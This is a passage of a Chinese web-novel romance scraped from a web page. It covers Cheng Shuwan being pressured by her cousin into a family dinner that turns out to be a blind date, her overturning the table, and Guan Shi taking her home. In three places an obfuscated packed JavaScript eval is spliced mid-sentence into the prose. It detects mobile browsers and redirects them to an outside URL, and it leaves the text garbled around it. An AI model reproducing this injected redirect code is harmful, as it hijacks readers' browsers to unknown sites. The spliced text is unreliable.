程舒晚顿了顿,“不打扰你的安排吧?你最近很忙。” “四处寻找赚钱的项目而已,能安排得过来,放心。”关时笑道,“看到有些人那么努力,我也不能闲着嘛不是。” 结束聊天,关时正要开车,手搭在方向盘上怔住两秒,重新打开手机查了查下周二的《封神图录》赛事,跃入眼帘的就是风侠战队和狐战队的比赛。 风侠是朔江本地的队伍,主场作战,那么程舒晚的朋友就是狐战队的职业选手了? 关时脑子里闪过一张清秀精致的脸庞,还有关星玥对程舒晚的叽里呱啦:“你也觉得白狸很帅对不对?” 他的心情突然不是那么美丽了。 关时把车停到木吉网咖后面的停车场,看看时间,下午四点多。一边盘算晚上吃什么,一边走进网咖,和众人打着招呼进了休息室,直奔冰箱。 程舒晚做的蛋糕巴掌大小,造型精致,抹了慕斯奶油,鲜亮黄澄的芒果点缀,旁边还贴心准备了叉子。 关时把蛋糕拿在手上,掏出手机拍了好几张照,挑了半天才满意收起手机,走出休息室,装模作样地晃悠到前台。 “对了时哥。”小贾喊了一声,“燕姨说有一批采购的单子要给你过目,让你回来之后别乱走,她处理完其他工作就来找你。” “好。”关时在前台拉了张椅子坐,吃了口蛋糕,略显惊艳地扬起眉头,“你程姐的手艺越来越好了。” 生怕别人不知道这蛋糕是谁做的。 小贾看了眼,笑嘻嘻的,“对呀,比外面做的还好吃,要不是程姐护着,留给你的这块差点给阿夏也偷偷顺走了。” 关时捏着叉子的手一愣,“她做了多少?” “日班的都有份儿。”小贾说。 关时望着手里的蛋糕,微不可查地撇撇嘴。 小贾:“不过我们的都挺小的,过个嘴瘾而已啦,程姐说最大的这块是你的。” “……哦。”被关时悄悄流放的嘴角又慢慢上扬起来,神色轻松地叉了一块放进嘴里,“你们程姐真是有心了。” 小贾觉得时哥神经兮兮的,没来得及多调侃两句,眼角余光瞥见大门口来了顾客,一秒切换营业状态,礼貌微笑:“你好,上机吗?” “不。”对方说,“找人。” “呃,找人……”小贾听到这俩字就有心理阴影,下意识看向了坐在旁边的老板。 然后他看到了一双没有温度的眼睛。 坏了。他登时闭嘴,没敢出声。 关时把手里吃了一半的蛋糕和叉子放下,抽了张纸巾擦擦嘴,站起身来,平淡地望向站在前台跟前的人,“找人要去派出所,我们这儿没那种功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364928|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。” 对方笑了一声,很是斯文,却让人不那么舒服,“别这么见外,关时老板。” 来人一表人才,戴着银框眼镜,五官稍显刻薄,正是程舒晚那披着人皮的混账表弟,宁松明。 “我跟你没说过几句话,见外不是很正常吗?”关时双手插兜,懒懒散散地笑了笑,“你准备在我店里找茬?” “当然不,你我都是文明人……” 关时立刻收敛笑意:“那就滚出去。” “……”宁松明脸色微僵,但很快又拿回气势,“在一块儿待得久了,连性子都一个样。” “请您出去。”关时换了个说辞。 宁松明不以为意地轻嗤,压低声音凑近,语气轻佻:“维护到这个份上,就那么喜欢我表姐?” “我想这位顾客,你误会了什么。”关时半垂着眼睨他,他个儿又高,五官又凶,流露下来的目光宛若极致的嘲讽,“我只是单纯看你不爽,但碍于法律和服务业的职业道德不能在这里打你一顿,还请自重,用自己的双腿从大门走出去。” “她有什么好喜欢的?”宁松明冷笑,“你才认识她多久,知道她过去是什么人,有什么风评么?” 关时眉眼松着,无视宁松明的话,“我也不介意亲自请您出去。” “她就是个表一套背一套,全网嘲的婊……” 话音未落,宁松明的脸被关时的手猛然掐住。 关时手劲不小,将宁松明脸上自得的笑全都掐得粉碎。宁松明连忙去掰他的手,可惜纹丝不动,只能眼睁睁看着关时那张极具压迫感的脸凑近。 “我要纠正你一点。”关时盯着宁松明开始浮现惊恐的眼睛,平静地开口,“我只是看着礼貌,但我不是文明人。你最好不要想试试。” “……”宁松明说不上话,只能一个劲掰他的手。 “关时。” 就在这时,楼梯口传来程舒晚的声音。 关时眼神微顿,松开了宁松明。宁松明连连后退几步,深吸一口气,狼狈地揉自己的下巴和脸颊。 程舒晚站在楼梯口安静地望着前台这边的场面,先是看着关时,随后移开目光盯住宁松明,垂在腿边的手慢慢收拢成拳头。 关时几步走到程舒晚身边,轻声:“你怎么下来了?” 程舒晚抬眼看向他,“他挑衅你?” “这里有我,你上去。”关时拧起来的眉头没松开。 程舒晚隐晦地拍了拍他的手臂稍作安抚,“你先别掺和。” 关时横档一小步,语气着急:“舒晚!” 程舒晚微微笑了笑:“蛋糕好吃吗?” “什么?”关时没反应过来,程舒晚已经趁机绕过他,朝宁松明走过去,“找我?” 宁松明虽然有些忌惮关时,但面对程舒晚还是拿出了莫名的优越感,理了理衣领,勉勉强强摆出自若的表情,“大姨和姨夫想你了,让我带你回去吃个饭。” 程舒晚抄着手“哦”了声,意有所指:“看来你已经知道该去哪堵我了。” 宁松明冷笑一声。 “为什么觉得我会同意跟你走?”程舒晚问。 “表姐啊,”宁松明扯出斯文又阴翳的微笑,把声音压低到只有两人能听见,“从小优秀到大的海大高材生,找了个开网吧的,有暴力倾向的男友,虽然我很喜闻乐见你的自甘堕落,但大姨和姨夫如果知道了,会怎么崩溃,怎么闹呢?” 程舒晚面无表情地盯着他,没动。 “又或者,”宁松明又说,“知道当初弄得沸沸扬扬终于放弃了当主播的女儿重操旧业了,又要怎么闹呢?” 沉默几秒,程舒晚轻轻叹了口气。 “老板,”她扭头对关时道,“我回家吃个饭。” 关时拧着眉张嘴:“舒……” “放心老板。”程舒晚笑笑打断关时的话,“只是跟家里人吃个饭。” 关时哑口无言。 他知道程舒晚不可能心平气和地同意回家吃饭,宁松明肯定是说了什么,能让程舒晚马上划出一条界限来……保护他。 是的,她肯定是在保护他。 但他没有任何理由让程舒晚别回去。 只能眼睁睁看程舒晚跟着宁松明走出网咖的大门,打开那辆停在路边的黑色轿车的门。 直到汽车开走,程舒晚都没有再回头一眼。 关时站在原地,怔然望着大门。 “时哥?”小贾小心翼翼地在旁边叫了一句。 关时沉默地回头,瞥见前台后面,自己吃了几口还没吃完的蛋糕。 程舒晚亲手做的蛋糕。 56. 思念 轿车从城西往城东开去,程舒晚坐在汽车后座,低头在手机的游播社上编辑今天晚上的直播请假消息。在游播社、粉丝群都通知完之后,她撑着脸,看向车窗外的景象。 面无表情,一言不发。 宁松明或许是察觉到程舒晚不同寻常的安静,“喂”了一声挑起话题,“我还以为你读书那么厉害,眼光也高呢,怎么找了个这样的,分享分享心路历程?” 程舒晚轻描淡写道:“你造谣的本事还是一等一的牛逼。” 宁松明:“早些年我不懂事,但现在不一样,说话是讲究证据的。” 程舒晚:“证据?” 宁松明笑着没解释,程舒晚也没继续追问,他不会说的。 “别小瞧我对你的事情的上心程度,表姐。”宁松明倒是很想炫耀一般,“毕竟小时候,我可是受你很多关照。” “我小时候对二元一次方程的关注度都比你高。”程舒晚说。 宁松明慢慢收敛了话里的笑意。 “我最讨厌的就是你这幅高高在上的嘴脸。”他说。 程舒晚想了想,认真地说:“那应该是你太脆弱了。” 宁松明猛然踩了刹车,唰地一下把车踩停在路边。程舒晚猝不及防往前冲,又被安全带嘣地拉住,差点拉成长颈鹿,“嘶”地揉了揉脖子。 她抬起头,透过后视镜,猝不及防与那双眼镜背后阴翳的目光对视。 “表姐,”很快,宁松明收回目光,笑了笑重新踩下油门上路,“奉劝你不要挑衅掌握方向盘的司机,这是为了你的人身安全考虑。” 听一句实话就破防,还说不是脆弱呢。程舒晚理了理额前的头发,没把这句话说出来继续刺激这个神经病。 手机震动,她低头看了眼,是关时发来消息。 “吱个声。” 程舒晚盯着消息十来秒,才慢慢回了句:“吱。” 关时:“方便电话吗?” 程舒晚:“有事发信息吧。我没事,很安全。” 关时:“如果回去待得不高兴,随时都可以走,别勉强自己。” 程舒晚:“嗯。” 她回完消息抬头看了看路标,宁松明往熟悉的城西方向开,上了高架桥。 她把手机熄屏,屏幕朝下盖在腿上,慢慢呼出沉重的气息。 回家的车程超过一小时,程舒晚休息不太够,但也提着一股劲儿没让自己睡着,直到宁松明的车开进不太熟悉的街区。 程舒晚后知后觉这一趟并不是回小时候待的家,而是大学即将毕业那年,她和程舒恒合计给父母买的新房,带电梯的高层小区。 新房坐落在新区的楼盘,距离她家——程舒晚想到这儿恍惚片刻,默默改了口——距离父母的老房子只隔了三个路口。 这里还没有脱离他们的生活圈子,仍然属于他们的舒适圈,他们的领地。 天合府小区地下停车场入口,宁松明的车很顺畅地过了拦车杆,说明他经常来,车牌有记录。 车停在七栋前的车位,宁松明熄火解锁车门,回头来盯着程舒晚。 “要我请你下车么?”他问。 程舒晚望向七栋的单元门通道,强压着心里开始涌起来的不适感,面无表情地下车。 一瞬间,她仿佛回到了半年前第一次在红枫小区下车的时候,盯着单元门,烦躁,恐惧,不好的回忆在脑海中不断翻滚。 曾经受过的打骂,哪怕喘不过气也要往上爬的窒息,在父母无理的宣泄和大闹之后,在家中与兄长对视时,他脸上半是安慰半是麻木的苦笑。 最后是她急匆匆下飞机一路狂奔,挤过警察的“节哀”和母亲撕心裂肺的哭嚎,在洗手间门口望见躺在浴缸的兄长,皮肤因一氧化碳中毒而泛着橙红色,但脸上却是一片宁静的场景。 在那趟上行的电梯,窒息般的沉默包裹下,她不敢停留,放下行李就转身下楼。 但走出单元门时,有一道高挑的身影沐浴在林荫的细碎光斑下,扭头望来,露出热烈而亲和的笑容。 “你好,没记错的话,你是程舒晚?” 他像一束毫无道理的阳光,从她严防死守窗帘的缝隙侵入,闯进她散着霉味的生活之中。 程舒晚敛下眉眼,跟着宁松明走进电梯。 她想关时了。 电梯到16层,程舒晚慢腾腾地走出电梯,站在1601房门几步开外,冷眼插兜。 宁松明按了门铃,仅仅几秒钟之后门就被拉开,蒋慧玲骐骥地探出头来,“松明?” “大姨。”宁松明稍稍侧过身子,露出站在后头面无表情插着兜的程舒晚。 蒋慧玲的眼睛亮了一下,随后熟稔地将所有情绪收拢,语气淡淡地说:“哟,终于肯赏脸露面了?” 程舒晚眉心不受控制地拧起来,但是瞥见宁松明宛如看戏的目光,她没有发话——再怎么难受的亲子关系,她都不想让一个外人看笑话。 “你不走么?”她问宁松明。 “怎么说话?”蒋慧玲瞪程舒晚一眼,“人又是请假又是开一个多小时车送你过来,门还没进就说这话?” 程舒晚毫无耐心:“那你选一个进门吧。” “你……”蒋慧玲眼见就要发作,被宁松明拦了下来。 宁松明:“大姨,先好好跟表姐聊聊天吧,我预约了汽车保养,先过去一趟。” 他很自然地递来台阶,蒋慧玲也就顺着下了:“那你去吧,麻烦你了。” “哪里,表姐的事情不算是麻烦。”宁松明微笑,些许戏谑和警告地看了程舒晚一眼,这才转身离开。 门口陷入片刻沉寂,程舒晚垂着眼站在门口,和蒋慧玲相顾无言。 “毕竟是大公司的小领导。”蒋慧玲意有所指地说,“比某些人的情商要高得多。” “那找他当儿子就好了,我很乐意。”程舒晚说,“反正现在看着也没差。” “程舒晚。”蒋慧玲面若寒霜地喊她的名字。 程舒晚不咸不淡地应了声,“实在没屁要放我就走了。” 她们针锋相对得氧气都让道溜走,一时间气氛有些窒息。 “进来。”蒋慧玲说,语气还冷,但比刚才缓和了些,“好容易回来一趟,也很久没见了,吃个饭吧。” 程舒晚站在那儿没动。 “你直说吧,有什么事。”她说。 蒋慧玲嘴唇动了动,“让女儿回家吃顿饭,需要什么理由吗?” 程舒晚微微蹙眉,有些烦躁。 “你哥走了快一年了。”蒋慧玲说,“我们一家都没好好坐下来吃顿饭。我知道你对爸妈有怨言,但不管怎么说,一顿饭还是能吃的吧。” 她说得很慢,不太熟练似的,程舒晚知道她能说出这些话已经是把自己的姿态放低了。 这居然是低姿态……程舒晚有些想笑。 “我不会过夜。”她说。 1601房接近一百四十平,装修是朔江市当下流行的新中式,木色偏重,有些老派的压抑。蒋慧玲有强迫症,每天雷打不动地做一次卫生,家里被她收拾得井井有条。 程国鑫坐在客厅的沙发上,正在冲茶,只抬起眼睛扫了进门的程舒晚一眼,没说话。 相比起能言善辩充当家庭门面的母亲,程国鑫这位沉默寡言的父亲平日并没什么存在感,但这不代表他比蒋慧玲好应付。 他打人很疼。 蒋慧玲:“坐吧,喝口茶。” 程舒晚在沙发最远的位置坐下,程国鑫把茶杯放到她跟前,她盯着茶杯没动。 “晚上我们出去吃。”蒋慧玲也坐下,很自然地拿起自己那杯茶,“你哥之前说过月林私房菜很不错,要带我们去吃,这一走也没什么机会。” 程舒晚:“别老提他。” 蒋慧玲把茶杯一放:“那是我儿子……” 程舒晚抬眸盯着她。 这一眼让蒋慧玲想起之前的争执自己没讨着好处,不由气笑转移话题:“好,不提他。那能聊你不?工作找得怎么样了?” 程舒晚:“没找。” 她以为蒋慧玲会立眉瞪目质问,但出乎意料,她只是表情皱了一下,没说重话。 “为什么不找?”蒋慧玲问,“你是不是还在打游戏?” “我说了该还的会还你们。”程舒晚说,“其他的不用你管。” 程国鑫冷冷插嘴:“你什么态度?” “不爽就打我。”程舒晚看他。 蒋慧玲示意程国鑫别说话,才继续道:“那你找对象没?” 闻言,程舒晚脑子里不可抑制地闪过关时的模样,嘴角微不可查一抿。 “没有。”她说,“如果叫我回来是为了做人口普查,那我还是早点走比较好。” “这是关心……”蒋慧玲皱眉说到一半,瞧见程舒晚的表情,深吸一口气改了口,“好,我不说了。” 母亲今天的懂事让程舒晚感到惊诧。 “反正说也不让说,你去收拾收拾,我们五点半出门吧。”蒋慧玲说,“你房间东西我都整理过了,给你买了几套衣服,你都试试,打扮打扮。” 程舒晚没说话,起身径直回了房间,关上房门。 说起这间房子。 大学四年期间,程舒晚除了做游戏直播和课业之外,还接了师兄师姐的程序兼职,跟文学院的同学一起做翻译工作,挣了不少钱。她拿了大半出来让程舒恒帮忙投资,又运气不错挣了一大笔,哪怕到现在,她每个月仅仅依靠版权和分红等的被动收入就能涵盖个人日常开销外加大部分房贷,当初辞职也并非是一时冲动。 而她当初挣到的钱,基本投入到1601房的装修上了,因此父母还是有点良心地给她留了一间房间。 程舒晚的房间不到十个平方,三四年间她也没住过几次,但蒋慧玲却把她小时候的东西都搬过来收拾好了,包括她从小到大穿的衣服,课本,练习册,文具,大学前用的杯子,甚至是高考那年的台历……除此之外,倒是没有什么其他东西了。 这里没有她的爱好和事业的痕迹,似乎从高考结束之后,她自由发展的一切都不配放在蒋慧玲和程国鑫的房子里。 而她那无法停下脚步的十八年人生,还塞不满一间不到十平方的房间。 落地衣架上挂着几条连衣裙,应该是蒋慧玲新买的衣服,尺码倒是合适,但款式都是很规矩的淑女裙,从来不在程舒晚的风格范围内,她没碰,靠着床沿坐在地板上拿出手机来。 电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364929|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量不是很充足,房间里也没有充电线,她不想出房间去拿父母的,打算等一会儿出门再去借共享充电宝。 她搜了下月林私房菜的地址,想了想,转发给谭婧。 谭婧发来一个问号:“请我吃饭吗?太好了你怎么知道我已经点了外卖而且今晚加班!” 程舒晚慢慢打字:“我今晚跟我爸妈去这里吃饭。如果打起来了委托你替我辩护。” 谭婧:“……” 她反手打了个电话过来:“你现在在哪?” “家里。”程舒晚说,“不是要和解,也不是自愿,具体情况有点复杂,之后再跟你说。” 谭婧不愧是聪明人,思考了三秒就得出结论:“知道你重操旧业了?” 程舒晚:“有点复杂。” 谭婧继续猜:“知道你谈了?” 程舒晚:“……” 她差点从地上蹦到天花板,“到底哪来的谣言,姐现在单身!” “跟被踩尾巴的猫一样,还说没有?”谭婧鄙夷,“他知道你回家吃饭吗?上次目睹你们家闹成那样,这次没拦着你?” “拦了,我没让他拦住。”程舒晚揉了揉鼻子,“记得我上次拜托你的事情吗?” “当然。”谭婧说着顿了顿,“这么说,你还是不想这些事情让他知道?” “嗯。”程舒晚说,“他也把他家的事情兜着不让我插手,那我没理由给他上负担。” 电话里安静片刻。 谭婧:“你们这个恋爱谈得,很适合去安保局。” “没谈!”程舒晚炸毛。 “虽然我不知道他家有什么事儿,但你肯定不觉得是负担。”谭婧自动忽略程舒晚的反驳,“那你凭什么觉得他会认为你家这些事对他来说是负担?” 程舒晚捏着手机没说话。 “总得一方先坦率吧。”谭婧幽幽道,“不然一辈子谈不上。” “……”程舒晚回过神来,“我是跟你说谈不谈恋爱的事吗?” “我知道啦,你跟你爹妈在月林吃饭。”谭婧说,“要是吃得不愉快别给好脸色,你就是太要面子了,跟你妈一样。” 程舒晚:“……定位,记得别发给关时。也别发给苏新胜,那个酒吧老板。” 挂断电话,程舒晚长舒一口气,垂眸盯着地面。 关时,会不会很紧张她的状况呢。 她不想让她喜欢的人,被伤害过她的人伤害。 他在她身上、在小鬼叉烧这个账号上倾注的信任和砝码,也决不能被毁掉。 她想保护好自己现在的生活,保护好关时。 关时…… 他现在,在干什么呢? 六点,程舒晚一家三口到达月林私房菜馆。 这家餐厅在一栋酒店大楼的二十二层,灯光明亮,色调温暖,蒋慧玲订的包间有大片的落地玻璃窗,能望见朔江市夜幕渐上的景色。 包间的桌子挺大,能容纳六人,程舒晚就近在靠近包间门边的位置坐下,没跟父母挨一块儿。 程国鑫很少来这种地方,看起来挺拘谨,服务生倒水递给他的时候点头也有些僵硬。蒋慧玲做了几十年的酒店工作,倒是轻车熟路的,拿着菜单本三两下点完菜,这才想起来还有程舒晚,扭头过来:“要加什么?” “不用,随便。”程舒晚压根没注意她点了什么。 “先这样。”蒋慧玲把点菜本递给服务生,随后从上到下把程舒晚打量一遍,“为什么不换套衣服,我买的那些哪套不好看?” “你自己穿。”程舒晚说,“别给我买东西。” 手机在这时振动,程舒晚一边拿水杯喝水,一边垂眸打开手机,关时发来消息。 “吃饭了吗?” 程舒晚盯着消息,耳边,蒋慧玲看不惯的碎碎念不断涌入:“你每天都这么不修边幅的,谁能看得上你?我们花那么多精力培养你是为了成才,结果你现在又不工作,又不找对象,没人给你兜底怎么办?我们这种家庭……” 啪。 程舒晚把水杯随手扔在桌上打断了蒋慧玲。 “你没完了是不是?”她安静道。 程国鑫拍桌:“怎么跟你妈说话?” “我就这么说了。”程舒晚淡淡说着站起身,“爱听不听。” “你去哪!”蒋慧玲也跟着起身。 “厕所。”程舒晚关上包间门,没让蒋慧玲跟着。 她确实是去洗手间。 虽然很想现在就摔门走,但是只要这顿饭没吃完,蒋慧玲再找宁松明一哭,很多事都得炸。 谭婧说得对,她的确是太要面子了。 刚踏入洗手间,手机又震了一震。 关时:“舒晚?” 程舒晚靠在洗手台边缘,发了个“嗯”过去。 关时:“你心情不好。” 不是疑问句,是肯定句。 程舒晚没回应。 “不开心随时能走。”关时说,“我接你。” 程舒晚吸了吸鼻子,扬起头吐了口气。 “没事,吃饭呢。”她打字道,“回得没那么及时而已啦。” 手机那头安静了十来秒。 “好。”关时说,“我一直都在。” 57. 戳破 在洗手间待了有十分钟,程舒晚整理好情绪,这才走回包间。 包间的门半掩着,程舒晚推开门走进去,刚踏入一步,猛然间顿住了。 菜馆上菜速度很快,偌大的桌子已经摆满菜肴,而包间里除了父母,还多出来两人。 “晚晚回来了。”蒋慧玲松了口气,朝他们笑笑。 坐在程舒晚位置旁边的是一个是没见过的男人,估摸三十四五岁,身宽体胖,头发稀疏,一双圆溜溜的鼠目探过来,满眼惊艳和贪欲,活像是瞧见米其林蛋糕的肥老鼠。 另一个人是宁松明,他回眸见到动作僵硬的程舒晚,勾唇笑了笑,“介绍一下,表姐,这位是严高磊,我的同事。” 那座山腾一下站起来,伸出双手,“程小姐,很高兴认识你。” 看来眼睛小就是弊病,看不出来她一点都不高兴。 程舒晚双手插在兜里,冷眼望向蒋慧玲,跟她要一个解释。 蒋慧玲没觉得有什么异常一样介绍道:“小严来过我们家好几次了,人宽厚,条件也好,在市中心有两套房,在你姨夫的公司里也是个大领导。认识认识,多个人脉多条路子。” 程舒晚微微扬起头。 半晌,她了然地“哦”了一声,接受了现状。 蒋慧玲今天脾气那么好没跟她吵架,原来在这里等着她呢。 “先坐吧。”程舒晚无视了严高磊伸过来的手,在自己的位置坐下,“怎么不跟我说有客人一起吃饭呢妈。” 她抄起筷子,夹了几片牛肉吃。 蒋慧玲本来提防着程舒晚跳起来跟她吵架,此刻不在意料之内的平静让她喜出望外,但程舒晚的动作又让她马上皱起眉头:“不打招呼怎么能自己就夹菜,礼不礼貌!” “没事儿,蒋阿姨,”严高磊笑呵呵地坐下,眼睛却贴在程舒晚的脸上没撕下来过,“程妹妹这脾气挺有趣的。” 程舒晚又夹了一筷子菜,兄长眼光确实不错,这家私房菜的味道非常好,“没回答我呢妈,说好一家人一起吃饭,为什么不跟我说有客人。” 蒋慧玲略显尴尬地瞄了宁松明和严高磊一眼,板起脸来,“人家都没嫌弃你的脾气,你还不满上了是吗?” 把大半心仪的菜肴都尝了一遍,程舒晚拿起湿纸巾把嘴巴一抹,点点头,“连威胁带哄骗把我忽悠过来,还‘认识认识,多个人脉多条路子’,把卖女儿说得这么清新脱俗。” 蒋慧玲和程国鑫纷纷变了脸色,猛然站起来,“你说什么!” “我说,一直以来是我错了。”程舒晚也站起来,面色平静,“我有那么一瞬间,真的以为你们想通了。” 严高磊估计没想到自己的出现会让场面变得这么难堪,一边擦汗一边打圆场,还求助地看了看宁松明,“程妹妹,叔叔阿姨,先坐吧,先吃饭,有什么事儿可以饭后再聊……” “不好意思,我吃饱了。”程舒晚一手撑在桌沿,猛然用力,“你们自己吃去吧。” 什么威胁,什么谎话,什么体面。 去他妈的吧。 白色的桌布和满桌的菜肴像个海浪,忽而掀了个跟头,盛着菜肉的碗盘在惊叫声中噼里啪啦碎裂一地,汤汁油脂五颜六色地在地上溅起花,泼了在场四人兜头盖脸。 距离程舒晚的位置最近的严高磊和宁松明受害最浅,只裤腿和鞋面沾了些菜叶汤汁,最惨的是坐在程舒晚对面的程国鑫和蒋慧玲。 程国鑫被一锅还烫的鱼汤淋到腿,当即大骂一声,没站稳一屁股坐到地上,撞歪了自己的椅子。 蒋慧玲的妆容和身上的裙子顷刻狼狈,她有洁癖,第一反应是想处理身上的油污,但对身上花花绿绿又香又油的污渍完全无从下手,最后只能跺着脚尖叫一声,崩溃大喊:“程舒晚!” 包间里已经没有她女儿的身影了。 程舒晚是几乎跑着出电梯的,穿过酒楼大堂,出了大门。 夏日夜晚的凉风从衣袖发间穿行,流淌过四肢百骸,最后透进跳动的心脏,浑身的血液都跟着欢腾尖叫。 程舒晚在酒楼门口深深呼吸几口气,抬头望向四周。 夜色沉沉,酒楼门口的地面停车场路灯闪亮,再远些的马路上车水马龙,一片繁华之景。 天大地大。 何处不能去。 程舒晚一边走向马路,一边扬起嘴角,然后毫无预兆地笑了出来:“哈。” 她停下脚步,笑得抱着肚子蹲在地上。 两颗泪珠从眼眶滚落砸在水泥地面,晕出两点深色的圆。 何处不能去。 何处不能去…… 笑声渐弱,程舒晚慢慢归于平静,把自己像费列罗巧克力一样蜷成一团蹲在地上,一动不动。 就这样团了两三分钟,手机在兜里长震,终于把她的意识震了回来。她摸出手机摁两下,没有反应,应该是没电关机了。 忘记去借充电宝了。 她从地上站起来,蹲了太久,腿一软没成功,只能手脚并用把自己支起来,靠着墙缓了好一会儿。 附近有奶茶店,可以找店员借个充电器。 有点对不起月林的厨师,菜很好吃,被自己糟蹋了。 他们会不会闹啊,闹到报警也不是没可能。 报就报吧。 程舒晚就这么胡思乱想着,等到腿上的麻劲儿过了,这才往马路对面的店铺走去。 胳膊突然被拽了一下。 程舒晚回过头,映入眼帘的是那张小眼睛的肥肉脸,严高磊。 他居然追下来了。 程舒晚只愣了片刻,随后猛然一挣,把自己的胳膊拿了回来。 “程妹妹,你等下。”严高磊堆起一个笑,“我知道你应该是生气叔叔阿姨没告诉你我要来,呃,只是小误会,就当交个朋友……” 程舒晚一句话都不想说,回头继续往前走。 “可以先了解了解,别急,”严高磊喋喋不休地跟上来,“你要去哪?回家吗?我开车送你啊,你这么漂亮,一个人不安全……” 他再次拉住程舒晚的胳膊,他这次力气不小,程舒晚一时半晌没挣脱开他这个吨位,凶狠地瞪住严高磊,张嘴就要吼他滚。 就在这时,眼前微暗,有道人影横插进来,阻隔了严高磊的脸,“走开。” 声音有点温和的懒散,却蕴着平静的暴戾。 程舒晚只觉胳膊一松,随后整个人落入温暖的怀抱中。 来人身上有阵隐隐的小苍梨的味道,她很熟悉,是木吉网咖用的香包的气味。 程舒晚狠戾的表情一点点收回平息,咬住微微颤抖的下唇,脸埋在他胸口。 见怀里的姑娘不吱声,关时眉头心疼地拧了拧,目光如刀劈向严高磊,“还不走?” 严高磊被这年轻男人的气势镇住,片刻才找回自己的位置:“你是她对象?” 关时没有耐心:“别让我说第三遍。” 他不肯定也不否定,严高磊权当默认,尴尬地低头给自己找台阶,半晌蹦出来一句“你们家真行”之后扭头回了酒楼。 关时确认他走远之后把程舒晚松开,低下头查看她的情况,“还好吗?” 他声音轻柔如棉,轻轻包裹住她,像是对待稀世珍宝。 程舒晚极力忍住委屈得要落泪的冲动,憋了好片刻还是说不出话,只点了点头。 关时笑叹,握住她的手,“先上车吧,回家。” 程舒晚拽紧他的手。 回家。 关时的车停在地面停车场出口附近,程舒晚坐上副驾,待到车拐上大马路,情绪平息得差不多了,她抹了把脸开口问:“你怎么知道我在这儿?” 关时手握方向盘,目光盯着前方,也不知是认真看路还是在躲避程舒晚的注视:“我记得你家的位置和你爸的车。” 程舒晚盯着他片刻,恍然大悟:“你下午在我家楼下吗?” 然后跟着程国鑫的车,一路开到了私房菜馆这儿? “嗯。”关时说,“后面你没回消息,我有点急,刚下车就看见那个男人……” 他顿了顿,“你认识他?不是在吃饭吗?” 程舒晚偏开目光,望着窗外向后倒退的街景,陷入十来秒的沉默。 关时没有催促,就这么等着。 “没回消息是我手机没电了。”程舒晚说,“他们是喊我回来相亲的,那个就是相亲对象。” 她听见关时“啧”地嘀咕了声:“眼光够差。” 程舒晚没忍住笑了下,“我也觉得。” “那你吃完饭了?”关时问,伸手从副驾的储物格里拉出一条充电线递过来。 “没有。”程舒晚给手机插上电,“我把桌子掀了。” 关时愣了愣,“掀了?” “嗯,掀了。谁也没吃上。”程舒晚说了句俏皮话,“叛逆叉烧不想忍了。” 她以为关时会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“为什么你总是什么都不说?不说就算了,还若无其事逗我‘你真的很担心我啊’,还笑,废话,我不担心吗? “我那么喜欢你!” 程舒晚一愣,倏忽扭过头,与关时对视。 他的声音已经带上鼻音,那双逐渐激动的眼眸在车流灯光的映衬中,水光是那么明显。 “你……”程舒晚张嘴,声音也有点发哑,“你哭了啊?” “不行啊!”关时一吸鼻子,抬起手背胡乱抹了把脸,转开视线,“我都想把你放微波炉叮一下了,心肠怎么那么冷啊!” “我……”程舒晚不知道该说什么来安慰他,只好伸出手擦了擦他眼尾的泪痕,“好啦,对不起……” 关时一把抓着她的手塞回副驾驶位去,“遵守交通法吧你。” 程舒晚愣了愣,突然笑了。 不算上次喝酒状态的话,这是她第一次正儿八经见他闹脾气。 怎么说呢。 挺可爱的。 “还笑,”关时怒目,“你有没有良心!” “对不起啊,对不起。”程舒晚搭住他的胳膊,“我真知道错了。” “你错哪儿了!”关时还在控诉。 程舒晚捏了捏他的手背,“让你担心了。” 关时:“还有呢?” 程舒晚想了想,“呃,笑,笑你了。” 关时:“……” 他深吸一口气,撇嘴等绿灯。 程舒晚:“还没遵守交通法。” 关时:“……” 他非常浅淡地翻了个白眼。 他都会翻她白眼了。 眼见自己再抖机灵得把关时气背过去,程舒晚笑着叹气:“好了,我以后不逗你了……” “不行。”没想到关时突然爆炸,“不逗我你还想逗谁?” 程舒晚:“……” 果然,平日越是稳重的大狗伤心起来越是难哄。 程舒晚在不扮凶不呲牙的时候其实不太会表达,措了半天词最后放弃,看了眼前面一时半会儿还动不了的车流,解开了安全带。 关时扭头过来:“坐不舒服吗?调节座椅在旁边……” 左脸微凉的触感打断了他的话,他花了半秒反应过来,是程舒晚用一只手捧住了他的脸。 随后,唇角被温热柔软的触感轻轻印上。 58. 搬家 关时:“……” 嘴唇的触碰带着细微的电流,顺着神经末梢一路带着火花烧到头顶,呲地把空白的脑袋干短路了。 还没来得及重启大脑,程舒晚已经蜻蜓点水地一触即走,退回到副座驾的领地,只是那双眼睛一眨不眨地对着关时,带着潮湿的探究和狡黠的笑意。 她身上熟悉的冷香这时才慢慢悠悠钻进鼻腔,那罪恶多端的清泠嗓音紧接着响起来—— “这样的话,能哄好吗?” …… 她到底。 哪来的这些本事! 